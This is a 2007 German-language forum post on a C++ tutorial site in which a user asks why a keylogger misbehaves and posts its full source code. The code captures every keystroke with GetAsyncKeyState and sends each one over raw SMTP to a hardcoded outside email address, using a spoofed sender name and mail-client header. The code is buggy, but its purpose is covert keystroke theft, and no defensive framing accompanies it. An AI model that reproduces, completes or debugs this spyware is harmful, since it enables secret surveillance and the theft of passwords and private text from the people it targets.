Keylogger mit email

Online-tutorials.net Forenübersicht/C++ / C#/Keylogger mit email

Antworten Neues Thema Bottom Seite 1 

Autor | Nachricht      nächster / vorheriger Thread

Mel
Einsteiger

avatar

Registriert seit: 09.2007
Beiträge:5

Keylogger mit email
huhu, wollte mal ein programm schreiben
das den Keylogger auf eurer seite mit dem email
programm verbindet.
Soweit kann ich es schon kompilieren
aber es tut nicht das was es soll.
Eigentlich soll es die Tastertur eingabe
an die email schicken.
aber leider macht es nur alle 20 sekunden ein neues
Dos fenster auf und schickt nur sehr selten eine
email
hier der code:
#include <string>
#include <winsock2.h>
#include <windows.h>
#include <Winuser.h>
#include <stdio.h>
#include <iostream>
#include <fstream>

using namespace std;
#define EOL "\r\n"

//#pragma comment(lib,"wsock32.lib")
//Testet ob ein Key abgefragt wurde
string GetKey(int Key)
{
string KeyString = "";

if (Key == 8)
KeyString = "[delete]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TABULATOR]";
else if (Key == VK_CONTROL)
KeyString = "[CTRL]";
else if (Key == VK_ESCAPE)
KeyString = "[ESCAPE]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[LEFT]";
else if (Key == VK_RIGHT)
KeyString = "[RIGHT]";
else if (Key == VK_UP)
KeyString = "[UP]";
else if (Key == VK_DOWN)
KeyString = "[DOWN]";
else if (Key == VK_SNAPSHOT)
KeyString = "[SNAPSHOT]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
//Char klein machen
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}

return KeyString;
}

DWORD smailid;
HANDLE hthr;
const WORD VERSION_MAJOR = 1;
const WORD VERSION_MINOR = 1;
int error;
char pszBody[1500];

typedef struct threadd
{
char name[200];
char fromid[200];
char toid[200];
char serv[200];
char sub[300];
char mes[1000];
} TDATA;

void send(const char *smtpservr, const char *fromname, const char *fromid, const char *toid, const char *subject, const char *message);
void Check( int iStatus, char *szFunction );
DWORD WINAPI is_ok( LPVOID l);
int sendmail( LPVOID l);

int main()
{
string TempString = "";
while(true)
{
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
send("mail.web.de","Absendername","Anonymous@ano.de","flyffrofl@web.de",
"Betreff", TempString.c_str() );
cout << TempString << endl;
getchar();
system("PAUSE");

}}}
;

return 0;
}

void send(const char *smtpservr, const char *fromname, const char *fromid, const char *toid, const char *subject, const char *message)
{
TDATA td;

strcpy(td.fromid,fromid);
strcpy(td.name ,fromname);
strcpy(td.serv ,smtpservr);
strcpy(td.toid ,toid);
strcpy(td.sub ,subject);
strcpy(td.mes ,message);
cout<<"Email an "<<toid<<" wird versendet . . ."<<endl;

hthr=CreateThread(NULL,0,is_ok,(LPVOID)&td,CREATE_SUSPENDED,&smailid);
SetThreadPriority( hthr, THREAD_PRIORITY_TIME_CRITICAL);
ResumeThread(hthr);
WaitForSingleObject(hthr, INFINITE);

}

DWORD WINAPI is_ok( LPVOID l)
{
TDATA *d=(TDATA *)l;
if(sendmail(l)==0)
cout<<"Versenden abgeschlossen"<<endl;
else
cout<<"Versenden gescheitert"<<endl;
return 0;
}


void Check( int iStatus, char *szFunction )
{
if (iStatus != SOCKET_ERROR && iStatus != 0) return;
else
error=1;
}

int sendmail( LPVOID l)
{
WSADATA WSData;
LPHOSTENT lpHostEntry;
LPSERVENT lpServEntry;
SOCKADDR_IN SockAddr;
SOCKET hServer;
int iProtocolPort;
char szSmtpServerName[100], szToAddr[100], szFromAddr[100];
char szBuffer[4096], szMsgLine[255];

TDATA *d=(TDATA *)l;
error=0;

lstrcpy( szSmtpServerName,d->serv );
lstrcpy( szToAddr, d->toid );
lstrcpy( szFromAddr,d->fromid );

if ( WSAStartup(MAKEWORD(VERSION_MAJOR, VERSION_MINOR), &WSData) )
{
cout<<"Error: Kann Winsock nicht finden"<<endl;
return(1);
}

lpHostEntry = gethostbyname( szSmtpServerName );
if (lpHostEntry == NULL)
{
cout<<"Error: Kann den SMTP Server("<<szSmtpServerName<<")"
<<"nicht finden "<<endl;
return(1);
}

hServer = socket( PF_INET, SOCK_STREAM, 0);
if (hServer == INVALID_SOCKET)
{
cout<<"Error: Cannot open mail server socket"<<endl;
return(1);
}

lpServEntry = getservbyname( "mail", 0);

if (lpServEntry == NULL)
iProtocolPort = htons(IPPORT_SMTP);
else
iProtocolPort = lpServEntry->s_port;

SockAddr.sin_family = AF_INET;
SockAddr.sin_port = iProtocolPort;
SockAddr.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list);

if (connect( hServer, (PSOCKADDR) &SockAddr, sizeof(SockAddr)))
{
cout<<"Error: Connecting to Server socket failed"<<endl;
return (1);
}

Check( recv( hServer, szBuffer, sizeof(szBuffer), 0), "recv() Reply");

wsprintf(szMsgLine,"HELO %s%s","microsoft [111.122.1.12]", EOL);
Check(send(hServer,szMsgLine,strlen(szMsgLine), 0),"send() HELO");
Check(recv(hServer,szBuffer,sizeof(szBuffer), 0),"recv() HELO");

wsprintf( szMsgLine,"MAIL FROM:<%s>%s", szFromAddr,EOL);
Check(send(hServer,szMsgLine,strlen(szMsgLine), 0),"send() MAIL FROM");
Check(recv(hServer,szBuffer,sizeof(szBuffer), 0),"recv() MAIL FROM");

wsprintf( szMsgLine,"RCPT TO:<%s>%s", szToAddr, EOL);
Check(send(hServer,szMsgLine,strlen(szMsgLine),0),"send() RCPT TO");
Check(recv(hServer,szBuffer,sizeof(szBuffer),0),"recv() RCPT TO");

wsprintf( szMsgLine,"DATA%s", EOL);
Check(send(hServer,szMsgLine,strlen(szMsgLine),0),"send() DATA");
Check(recv(hServer,szBuffer,sizeof(szBuffer),0),"recv() DATA");


char sdate[70];
lstrcpy(sdate,"Date: ");
char s1s[70];
GetDateFormat(0x409,0,0,"ddd,dd MMM yyyy",s1s,200);
lstrcat(sdate,s1s);
lstrcat(sdate," ");
GetTimeFormat(0x409,0,0,"HH:mm:ss",s1s,200);
lstrcat(sdate,s1s);
lstrcat(sdate," PM");

char header[350];
lstrcpy(header,"From: ");
lstrcat(header,d->name );
lstrcat(header,"<");
lstrcat(header,d->fromid );
lstrcat(header,">");
lstrcat(header,"\r\n");
lstrcat(header,"To: ");
lstrcat(header,d->toid );
lstrcat(header,"\r\n");
lstrcat(header,"Subject: ");
lstrcat(header,d->sub );
lstrcat(header,"\r\n");
lstrcat(header,sdate);
lstrcat(header,"\r\n");
lstrcat(header,"X-Mailer: Outlook Express 1.00\r\nMIME-Version: 1.0\r\nContent-Type:text/plain;\r\n\tcharset=\"iso-8859-1\" \r\nContent-Transfer-Encoding: 7bit\r\n\r\n");

wsprintf( szMsgLine,header);
Check(send(hServer,szMsgLine,strlen(szMsgLine), 0),"send() header");
if (error)
return error;

lstrcpy(pszBody,d->mes );
lstrcat(pszBody,"\r\n\r\n");
Check(send( hServer,pszBody, strlen(pszBody), 0), "send() message");
wsprintf(szMsgLine,"%s.%s", EOL, EOL);
Check(send(hServer,szMsgLine, strlen(szMsgLine),0),"send() end-message");
Check(recv(hServer,szBuffer, sizeof(szBuffer),0),"recv() end-message");
wsprintf(szMsgLine,"QUIT%s",EOL);
Check(send(hServer,szMsgLine,strlen(szMsgLine),0),"send() QUIT");
Check(recv(hServer,szBuffer,sizeof(szBuffer),0),"recv() QUIT");
closesocket(hServer);
WSACleanup();

return error;
}

10.09.2007 17:44Profil >> Zitat >> IP gespeichert 
Keywords:Keylogger mit email
                   nächster / vorheriger Thread

Antworten Neues Thema Top Seite 1